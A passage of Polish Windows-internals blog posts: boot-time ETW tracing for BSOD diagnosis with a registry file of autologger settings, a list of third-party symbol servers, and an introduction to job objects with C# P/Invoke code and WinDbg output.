Ale przecież nie o to chodzi. Idea jest dosyć prosta, a informacji cała masa. Włączyliśmy sobie właśnie ‘procmona’, który zrzucił nam na dysk wszystkie operacje na plikach i rejestrze, które działy się tuż przed padem systemu. Mało? Można włączyć dodatkowe loggery - obserwować zachowanie dysku (flagi kernelowe), sprawdzić co się dzieje w sieci (tu um - Microsoft-Windows-TCPIP), etc. - jeśli to w ogóle cokolwiek nam może pomóc.
Przy analizie logów z procmona bardzo często sięgam do wszelkich ACCESS_DENIED, lub NOT_FOUND, idąc wstecz od końca logu. To naprawdę dobre na początek, łatwo można zorientować się w typowych problemach. Liczę również na kreatywność czytelników - może ktoś podpowie coś ciekawego?
Oczywiście nie wszystko jest aż tak różowe. Log zakończony BSODem zazwyczaj nie jest poprawnie zamknięty i zawiera błędy. Xperf staje dęba, nie mówiąc o innych narzędziach i wówczas można poznać wszelkie dostępne komunikaty blędów, jakie ktoś wkompilował w xperfview.exe i inne narzędzia. Ale i na to są sposoby, ale o tym przy okazji tekstu o pisaniu własnych narzędzi do obróbki .etl.
Powyższa metoda może być z powodzeniem stosowana również we wszelkich innych problemach startowych, przy czym należy pamiętać o tym, że dysk, na którym mają być zapisane logi powinien być już widoczny w systemie. W przypadku BSODów typu 7B log nie jest zapisany i - co dziwne - nie widzę sesji Global Loggera po podłączeniu się debuggerem i skorzystaniu z omawianych w jednym z poprzednich wpisów poleceń rozszerzenia !wmitrace.
Kolejna uwaga dotyczy rozmiaru logów - flagi stacktrace znacząco wpływają na ilość zbieranych informacji i mogą przyczyniać się do gubienia zdarzeń. Wystarczy wówczas zwiększyć rozmiary buforów oraz wyłączyć flagi stacktrace, a i dumper będzie rozsądnych rozmiarów.

I na koniec obiecany wcześniej plik .reg do samodzielnego importu. Wystarczy skopiować do notatnika, zapisać jako .reg i zaimportować zgodnie z wcześniejszym opisem. Dobrej zabawy! :)

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession]
"Start"=dword:00000001
"GUID"="{1a15901b-0686-4433-955f-2ee7f9c61cfc}"
"FileName"="c:\\xperf\\boot_1_um_premerge.etl"
"MinimumBuffers"=dword:00000004
"MaximumBuffers"=dword:0000000c
"MaxFileSize"=dword:00000000
"BufferSize"=dword:00000400
"ClockType"=dword:00000001

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{0063715b-eeda-4007-9429-ad526f62696e}]
"ProviderFriendlyName"="Service Control Manager"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{030f2f57-abd0-4427-bcf1-3a3587d7dc7d}]
"ProviderFriendlyName"="PerfTrack Status"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{06184c97-5201-480e-92af-3a3626c5b140}]
"ProviderFriendlyName"="Service Host Provider"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{0a002690-3839-4e3a-b3b6-96d8df868d99}]
"ProviderFriendlyName"="AMP1"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{15ca44ff-4d7a-4baa-bba5-0998955e531e}]
"ProviderFriendlyName"="Loader Info"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{1fd7c1d2-d037-4620-8d29-b2c7e5fcc13a}]
"ProviderFriendlyName"="Software Licensing (V6)"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{206f6dea-d3c5-4d10-bc72-989f03c8b84b}]
"ProviderFriendlyName"="Wininit"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{2a274310-42d5-4019-b816-e4b8c7abe95c}]
"ProviderFriendlyName"="ReadyBoost Driver"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):60,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{30336ed4-e327-447c-9de0-51b652c86108}]
"ProviderFriendlyName"="ShellCore"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{331c3b3a-2005-44c2-ac5e-77220c37d6b4}]
"ProviderFriendlyName"="Kernel-mode Power"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{43e63da5-41d1-4fbf-aded-1bbed98fdd1d}]
"ProviderFriendlyName"="SMSS"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{49c2c27c-fe2d-40bf-8c4e-c3fb518037e7}]
"ProviderFriendlyName"="Search"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{4ee76bd8-3cf4-44a0-a0ac-3937643e37a3}]
"ProviderFriendlyName"="Code Integrity"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{5322d61a-9efa-4bc3-a3f9-14be95c144f8}]
"ProviderFriendlyName"="Prefetcher"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{63d2bb1d-e39a-41b8-9a3d-52dd06677588}]
"ProviderFriendlyName"="AuthUI"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{67fe2216-727a-40cb-94b2-c02211edb34a}]
"ProviderFriendlyName"="VolSnap"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{6ad52b32-d609-4be9-ae07-ce8dae937e39}]
"ProviderFriendlyName"="Microsoft-Windows-RPC"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000004

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{70eb4f03-c1de-4f73-a051-33d13d5413bd}]
"ProviderFriendlyName"="Microsoft-Windows-Kernel-Registry"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000004
"EnableProperty"=dword:00000004

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{751ef305-6c6e-4fed-b847-02ef79d26aef}]
"ProviderFriendlyName"="AMP3"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{83ed54f0-4d48-4e45-b16e-726ffd1fa4af}]
"ProviderFriendlyName"="Microsoft-Windows-Networking-Correlation"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{8c416c79-d49b-4f01-a467-e56d3aa8234c}]
"ProviderFriendlyName"="DwmWin32kWin8"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,40,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{8e92deef-5e17-413b-b927-59b2f06a3cfc}]
"ProviderFriendlyName"="AMP2"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{9c205a39-1250-487d-abd7-e831c6290539}]
"ProviderFriendlyName"="Kernel-mode PnP"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):20,f0,1f,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{9d55b53d-449b-4824-a637-24f9d69aa02f}]
"ProviderFriendlyName"="WinSrv"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{a68ca8b7-004f-d7b6-a698-07e2de0f1f5d}]
"ProviderFriendlyName"="Kernel General"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{a6ad76e3-867a-4635-91b3-4904ba6374d7}]
"ProviderFriendlyName"="ReadyBoost"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):40,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{aea1b4fa-97d1-45f2-a64c-4d69fffd92c9}]
"ProviderFriendlyName"="Group Policy"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{cfeb0608-330e-4410-b00d-56d8da9986e6}]
"ProviderFriendlyName"="AMP4"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{d781ca11-61c0-4387-b83d-af52d3d2dd6a}]
"ProviderFriendlyName"="Win32HeapRanges"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{d8975f88-7ddb-4ed0-91bf-3adf48c48e0c}]
"ProviderFriendlyName"="Microsoft-Windows-RPCSS"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000004

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{dbe9b383-7cf3-4331-91cc-a3cb16a3b538}]
"ProviderFriendlyName"="Winlogon"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{de7b24ea-73c8-4a09-985d-5bdadcfa9017}]
"ProviderFriendlyName"="TaskScheduler"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{e23b33b0-c8c9-472c-a5f9-f2bdfea0f156}]
"ProviderFriendlyName"="Software Licensing (V7)"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{e6307a09-292c-497e-aad6-498f68e2b619}]
"ProviderFriendlyName"="EMDMgmt"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{e8316a2d-0d94-4f52-85dd-1e15b66c5891}]
"ProviderFriendlyName"="CSRSS"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\Autologger\XBootMgrSession\{edd08927-9cc4-4e65-b970-c2560fb5c289}]
"ProviderFriendlyName"="Microsoft-Windows-Kernel-File"
"Enabled"=dword:00000001
"MatchAnyKeyword"=hex(b):00,00,00,00,00,00,00,00
"EnableLevel"=dword:00000004

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\GlobalLogger]
"Start"=dword:00000001
"Status"=dword:00000000
"FileName"="c:\\xperf\\boot_1_km_premerge.etl"
"EnableKernelFlags"=hex:07,23,02,06,86,42,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00
"StackWalkingFilter"=hex:2e,0f,00,00,24,05,00,00,32,05,00,00,11,09,00,00,0b,09,\
  00,00,10,09,00,00,40,04,00,00,43,04,00,00
"BufferSize"=dword:00000400
"MinimumBuffers"=dword:0000012c
"MaximumBuffers"=dword:00000258
"ClockType"=dword:00000001
"MaxFileSize"=dword:00000000
"LogFileMode"=dword:00000000

[HKEY_LOCAL_MACHINE\BSOD\ControlSet001\Control\WMI\XPerfBootmgr]
"TraceMode"=dword:00000001
"RepeatCount"=dword:00000001
"RepeatIteration"=dword:00000001
"PostBootDelay"=dword:00002710
"TraceFlags"="latency+dispatcher+file_io+file_io_init+registry"
"StackWalkingFilter"=hex:2e,0f,00,00,24,05,00,00,32,05,00,00,11,09,00,00,0b,09,\
  00,00,10,09,00,00,40,04,00,00,43,04,00,00
"ResultPath"="c:\\xperf"
"Callback"=""
"RunTag"=""
"SleeperCmd"="C:\\Program Files (x86)\\Windows Kits\\8.0\\Windows Performance Toolkit\\xbootmgrSleep.exe"
"PreTraceCmd"=""
"PrepSystem"=dword:00000000
"IssueFlush"=dword:00000000
"UseLog"=dword:00000001
"LeavePremerged"=dword:00000000
"NoMerge"=dword:00000000
"TraceFlagsInFileName"=dword:00000000
"VerboseReadyBoot"=dword:00000000
"IsBuffering"=dword:00000000
"NumPrepSystemIterations"=dword:00000000
"DisablePopups"=dword:00000000

Serwery symboli dla znanych produktów (nie-MS)

$
0
0

Bawiąc się w analizę zrzutów pamięci, tudzież stosów wywołań w ramach sesji ETW nierzadko trafiam na kod, do którego brakuje plików symboli. I o ile Microsoft problemu większego w tym zakresie nie czyni, udostępniając swoje symbole publiczne wszystkim (o czym wielokrotnie pisałem), o tyle inne firmy chronią swoje symbole, cobyśmy przypadkiem za dużo z nich nie wyciągnęli. Pomyślałem zatem, że warto utworzyć listę znanych mi serwerów z symbolami, a być może ktoś dorzuci coś od siebie i w ten sposób i ja na tym skorzystam :). W przypadku WinDbg wystarczy w aktywnej sesji skorzystać z .sympath+, a serwer symboli zostanie dołączony do listy wyszukiwania (do weryfikacji - !sym noisy).

1. Firefox (źródło informacji) - prywatne
SRV*c:\websymbols*http://symbols.mozilla.org/firefox

2. Chrome (źródło informacji) - prywatne
SRV*c:\websymbols*http://chromium-browser-symsrv.commondatastorage.googleapis.com

3. Safari (źródło informacji) (nie działa?)
SRV*c:\websymbols*http://developer.apple.com/internet/safari/windows_symbols

4. Citrix (źródło informacji)
SRV*c:\websymbols*http://ctxsym.citrix.com/symbols

5. SymbolSource (zawiera symbole dla wielu projektów OS, szczegóły użycia)
SRV*c:\websymbols\*http://srv.symbolsource.org/pdb/Public
SRV*c:\websymbols\*http://srv.symbolsource.org/pdb/MyGet

Czekam na odzew, z przyjemnością uzupełnię tę listę o inne produkty (np. sterowniki)! :)

Job objects

$
0
0

Jednym z ciekawszych obiektów jądra, dostępnym od Windows 2000 jest job object (w polskim tłumaczeniu: zadanie). Niestety rzadko używany popadł w zapomnienie, co postaram się tym wpisem (i być może następnymi) nieco zmienić. Prawdopodobnie największy wpływ na ten stan rzeczy ma praktycznie całkowity brak jakichkolwiek narzędzi systemowych do zarządzania zadaniami (był ponoć jakiś toolek w wersji Windows 2000 Datacenter Server i na tym chyba koniec). Brak przykładów kodu ilustrujących sposób użycia również nie sprzyja popularyzacji job objects.

Garść przykładów z życia

Jak się jednak okazuje, w systemie roi się od obiektów zadań. Poniżej kilka przykładów.

1. Adobe Reader
Ze względu na swoją architekturę job objects mogą służyć jako podstawa przy tworzeniu wydajnych i bezpiecznych sandboxów (*). Adobe podjęło w 2010 roku wysiłek stworzenia trybu chronionego w Adobe Readerze, wykorzystując do tego m.in. właśnie obiekty zadań.

Rys 1. Proces Adobe Readera w zadaniu

Nadrzędny proces tworzy obiekt zadania, który następnie przypisuje do właściwego procesu AcroRd32.exe otwierającego plik PDF.

Rys 2. Ograniczenia narzucone na AcroRd32.exe

2. Chrome
Chrome, podobnie jak to jest w przypadku Adobe Readera również implementuje swoją piaskownicę m.in. w oparciu o obiekty zadań. Proces raz umieszczony w obiekcie zadania nie ma możliwości opuszczenia zadania, ani zmiany ustawień ‘swojego’ zadania, a więc jakikolwiek kod działający w ramach procesu objętego jobem jest ‘uwięziony’ przez to zadanie.

Rys 3. Ograniczenia narzucone na chrome.exe

Przyglądając się ograniczeniom narzuconym na chrome widzimy zatem, że szkodliwy kod, który może być wykonany przez chrome (np. po udanym ataku na jakąś podatność) nie będzie miał możliwości ponownego uruchomienia komputera (Exit Windows), odczytania i modyfikacji schowka (Read & Write Clipboard), etc.

3. Program Compatibility Assistant (PCA)
Zadania utworzone przez PCA można odnaleźć pośród innych obiektów globalnych w /BasedNamedObjects, wykorzystywane są głównie do utrzymywania kontroli nad procesami, co do których PCA nie ma pewności, czy należy im ufać :) Do ciekawych przypadków należy tutaj Visual Studio (devenv.exe), które uruchomione w trybie zgodności, ma automatycznie przypisany obiekt zadania.

Rys 4. Job object powiązany z devenv.exe oraz debuggowanym procesem

Domyślnie każdy proces potomny jest automatycznie dodawany do tego zadania, co jest problemem, gdy chcemy debuggować nasze zabawy z obiektami zadań. Na szczęście, dzięki ustawionej fladze ‘Breakaway OK’ PCA umożliwia uwolnienie się spod jarzma joba (np. poprzez dodatkową flagę w CreateProcess, lub wpis w HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant).

4. WMI
Usługa Instrumentacji zarządzania Windows tworząc nowe obiekty COM do obsługi zapytań WMI (WMI Provider Host) w ramach ochrony zasobów systemowych dodaje wszystkie procesy hosta do joba \BaseNamedObjects\WmiProviderSubSystemHostJob, który narzuca ograniczenia na procesy (zrzut z mojego systemu):
- max 32 procesy;
- ogranicznie pamięci dla wszystkich procesów: 1GB;
- ograniczenie pamięci dla każdego z procesów: 512MB

Rys 5. Ograniczenia dla WmiPrvSE.exe

Ciekawe tutaj jest także to, że procesy hosta tworzone są przez usługę DcomLaunch, hostowaną w innym procesie, niż winmgmt (patrz rysunek).

Rys 6. Procesy obsługujące żądania WMI oraz zarządzająca nimi usługa

Kilka słów wprowadzenia

Zadanie może mieć nazwę, domyślnie podczas tworzenia nowego obiektu zadania z przypisaną doń nazwą object manager umieszcza go w katalogu BasedNamedObjects danej sesji. Takie obiekty zadań możemy znaleźć wędrując po zasobach object managera, jednak w przypadku anonimowych zadań znalezienie ich możliwe jest jedynie z poziomu jądra.

Rys 7. Obiekty zadań w WinObj

Dla przykładu, Process Hacker bez włączonego własnego sterownika w ogóle nie pokazuje obiektów zadań (nawet nazwanych).
Bezpańskie i osierocone zadanie, niczym Ronin jądra żyje do momentu śmierci ostatniego procesu z nim powiązanego, po czym zostaje przez system uśmiercone. Jeśli chcemy zatem mieć wpływ na obiekt zadania i nie chcemy bawić się w sterowniki, musimy utrzymać przy życiu proces, który tworzy zadanie.

W dokumentacji MSDN opisane są następujące funkcje do zabaw z zadaniami: CreateJobObject, OpenJobObject, SetInformationJobObject, QueryInformationJobObject, TerminateJobObject (do unicestwienia zadania i wszystkich powiązanych z nim procesów w jednej chwili) oraz AssignProcessToJobObject służąca do przypisywania procesu do zadania. W przypadku, gdy chcemy jednak utworzyć (lub otworzyć) obiekt zadania znajdujący się w innym miejscu w drzewie object managera (np. w ramach innej sesji, lub z katalogu globalnego), musimy sięgnąć po odpowiednie funkcje Nt* z biblioteki ntdll.dll (zamiast wspomnianych wcześniej znajdujących się w kernel32.dll). Problem w tym, że funkcje te są kompletnie nieudokumentowane i nawet wujek google o nich milczy.

//JobObjectSecurityAndAccessRights -> see
//http://msdn.microsoft.com/en-us/library/windows/desktop/ms684164(v=vs.85).aspx
[DllImport("ntdll.dll", EntryPoint ="NtOpenJobObject", SetLastError =true)]
publicstaticextern Int32 NtOpenJobObject(out IntPtr JobHandle, JobObjectSecurityAndAccessRights DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);

Wesoło zaczyna się w momencie, gdy chcemy użyć funkcji QueryInformationJobObject, która wymaga wcześniejszego przygotowania odpowiedniej struktury zaalokowanej na stosie. Wobec mnogości dostępnych opcji przydatna może się okazać funkcja podobna do poniższej.

privatestatic T GetJobInformation<T>(string jobPath, JOBOBJECTINFOCLASS infoClass) where T: struct
{
  T jobInfo =new T();
  IntPtr hJob;
  Win32.OBJECT_ATTRIBUTES attr =new Win32.OBJECT_ATTRIBUTES(jobPath, 0);

  Win32.NtOpenJobObject(out hJob, JobObjectSecurityAndAccessRights.JOB_OBJECT_QUERY, ref attr);

  unsafe
  {
    int cb = (int)Marshal.SizeOf(typeof(T));
    byte* jobObjectInfoVoid =stackallocbyte[cb];
    IntPtr jobObjectInfo = (IntPtr)jobObjectInfoVoid;
    int retNum = 0;
    Win32.QueryInformationJobObject(hJob, infoClass, jobObjectInfo, (uint)cb, ref retNum);
    jobInfo = (T)Marshal.PtrToStructure(jobObjectInfo, typeof(T));
  }

  Win32.CloseHandle(hJob);
  return jobInfo;
}

Funkcja QueryInformationJobObject jest bardzo czuła na niewłaściwy rozmiar zaalokowanej struktury i bez opanowanej umiejętności liczenia na paluszkach możemy zapomnieć o wersji 64-bit (tu polecam zwrócenie szczególnej uwagi na to, co wypluwa P/Invoke Interop Assistant, który tłumaczy np. ULONG_PTR na unsigned int, czyli UInt32, zamiast UInt64)

Fajerwerki!

Uzbrojeni w podstawową wiedzę dotyczącą zadań możemy przystąpić do działania. Wraz z Windows 8 pojawiło się sporo nowości w ramach job objects, w tym możliwość narzucania jawnego ograniczenia na % wykorzystania czasu procesora (cpu rate). W Windows 7 można było ograniczyć cpu rate na poziomie całego systemu, sesji oraz danego użytkownika (poprzez wpisy CpuRateLimit w kluczu HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Quota System), a także na poziomie procesu poprzez funkcję NtSetInformationProcess. To drugie rozwiązanie nie odbiera możliwości procesowi samodzielnej zmiany swojego cpu rate, co w przypadku pracy w jobie jest niemożliwe.
Wszystkim tym, którzy zastanawiają się nad przydatnością takiego ograniczenia niech posłuży przykład - CPU Throttling w IIS 8 dla app pools wykorzystuje właśnie ten mechanizm do ograniczania przydziału czasu procesora dla worker procesów w3wp.exe.
System wykorzystuje mniej, lub bardziej skomplikowane algorytmy i statystyki i w zależności od nich decyduje o tym, czy może przeznaczyć jeszcze nieco czasu na wątki z procesu dołączonego do zadania z narzuconym odgórnie maksymalnym cpu rate, czy też nie.

Napisałem przykładowy system killer, który bez względu na to, ile mamy procesorów, i tak jest je w stanie wszystkie zarżnąć. W efekcie mamy wszystkie procesory obciążone w 100% i niewiele czasu procesora na cokolwiek innego. Po narzuceniu na ten proces ograniczenia na maksymalny cpu rate system odzyskuje oddech :)

Rys 8. Ograniczanie CPU rate w działaniu

Zobaczmy, jak job wygląda w WinDbg

kd> !process 0n3728
Searching for Process with Cid == e90
PROCESS ffffe0000160f900
    SessionId: 1  Cid: 0e90    Peb: 7ff5ffb3f000  ParentCid: 0318
    DirBase: 3c01f000  ObjectTable: ffffc00009d94580  HandleCount: <Data Not Accessible>
    Image: JobWorker.exe
    VadRoot ffffe00002784d90 Vads 94 Clone 0 Private 567. Modified 0. Locked 1.
    DeviceMap ffffc00001e60130
    Token                             ffffc00006bde060
    ElapsedTime                       00:04:40.807
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         168048
    QuotaPoolUsage[NonPagedPool]      24608
    Working Set Sizes (now,min,max)  (2754, 50, 345) (11016KB, 200KB, 1380KB)
    PeakWorkingSetSize                2772
    VirtualSize                       499 Mb
    PeakVirtualSize                   515 Mb
    PageFaultCount                    2816
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      2311
    Job                               ffffe00001f43b50

Struktura _EJOB zawiera informacje o obiekcie zadania, w tym również limitu cpu rate (w ramach wspomnianej wcześniej struktury _JOB_CPU_RATE_CONTROL)

kd> dt nt!_ejob ffffe00001f43b50
   +0x000 Event            : _KEVENT
   +0x018 JobLinks         : _LIST_ENTRY [ 0xffffe000`01076b68 - 0xffffe000`0264eb68 ]
   +0x028 ProcessListHead  : _LIST_ENTRY [ 0xffffe000`0160fd58 - 0xffffe000`0160fd58 ]
   +0x038 JobLock          : _ERESOURCE
   +0x0a0 TotalUserTime    : _LARGE_INTEGER 0x0
   +0x0a8 TotalKernelTime  : _LARGE_INTEGER 0x0
   +0x0b0 TotalCycleTime   : _LARGE_INTEGER 0x0
   +0x0b8 ThisPeriodTotalUserTime : _LARGE_INTEGER 0x0
   +0x0c0 ThisPeriodTotalKernelTime : _LARGE_INTEGER 0x0
   +0x0c8 TotalContextSwitches : 0
   +0x0d0 TotalPageFaultCount : 0
   +0x0d4 TotalProcesses   : 1
   +0x0d8 ActiveProcesses  : 1
   +0x0dc TotalTerminatedProcesses : 0
   +0x0e0 PerProcessUserTimeLimit : _LARGE_INTEGER 0x0
   +0x0e8 PerJobUserTimeLimit : _LARGE_INTEGER 0x0
   +0x0f0 MinimumWorkingSetSize : 0
   +0x0f8 MaximumWorkingSetSize : 0
   +0x100 LimitFlags       : 0
   +0x104 ActiveProcessLimit : 0
   +0x108 Affinity         : _KAFFINITY_EX
   +0x1b0 AccessState      : (null)
   +0x1b8 AccessStateQuotaReference : (null)
   +0x1c0 UIRestrictionsClass : 0
   +0x1c4 EndOfJobTimeAction : 0
   +0x1c8 CompletionPort   : (null)
   +0x1d0 CompletionKey    : (null)
   +0x1d8 CompletionCount  : 0
   +0x1e0 SessionId        : 1
   +0x1e4 SchedulingClass  : 5
   +0x1e8 ReadOperationCount : 0
   +0x1f0 WriteOperationCount : 0
   +0x1f8 OtherOperationCount : 0
   +0x200 ReadTransferCount : 0
   +0x208 WriteTransferCount : 0
   +0x210 OtherTransferCount : 0
   +0x218 DiskIoInfo       : _PROCESS_DISK_COUNTERS
   +0x240 ProcessMemoryLimit : 0
   +0x248 JobMemoryLimit   : 0
   +0x250 PeakProcessMemoryUsed : 0x91b
   +0x258 PeakJobMemoryUsed : 0x91b
   +0x260 EffectiveAffinity : _KAFFINITY_EX
   +0x308 EffectivePerProcessUserTimeLimit : _LARGE_INTEGER 0x0
   +0x310 EffectiveMinimumWorkingSetSize : 0
   +0x318 EffectiveMaximumWorkingSetSize : 0
   +0x320 EffectiveProcessMemoryLimit : 0
   +0x328 EffectiveProcessMemoryLimitJob : (null)
   +0x330 EffectivePerProcessUserTimeLimitJob : (null)
   +0x338 EffectiveLimitFlags : 0
   +0x33c EffectiveSchedulingClass : 0xa
   +0x340 EffectiveFreezeCount : 0
   +0x344 EffectiveBackgroundCount : 0
   +0x348 EffectiveSwapCount : 0
   +0x34c EffectiveNotificationLimitCount : 0
   +0x350 EffectivePriorityClass : 0 ''
   +0x351 PriorityClass    : 0 ''
   +0x352 Reserved1        : [2]  ""
   +0x354 CompletionFilter : 0x1ffe
   +0x358 WakeChannel      : _WNF_STATE_NAME
   +0x358 WakeInfo         : _PS_WAKE_INFORMATION
   +0x390 WakeFilter       : _JOBOBJECT_WAKE_FILTER
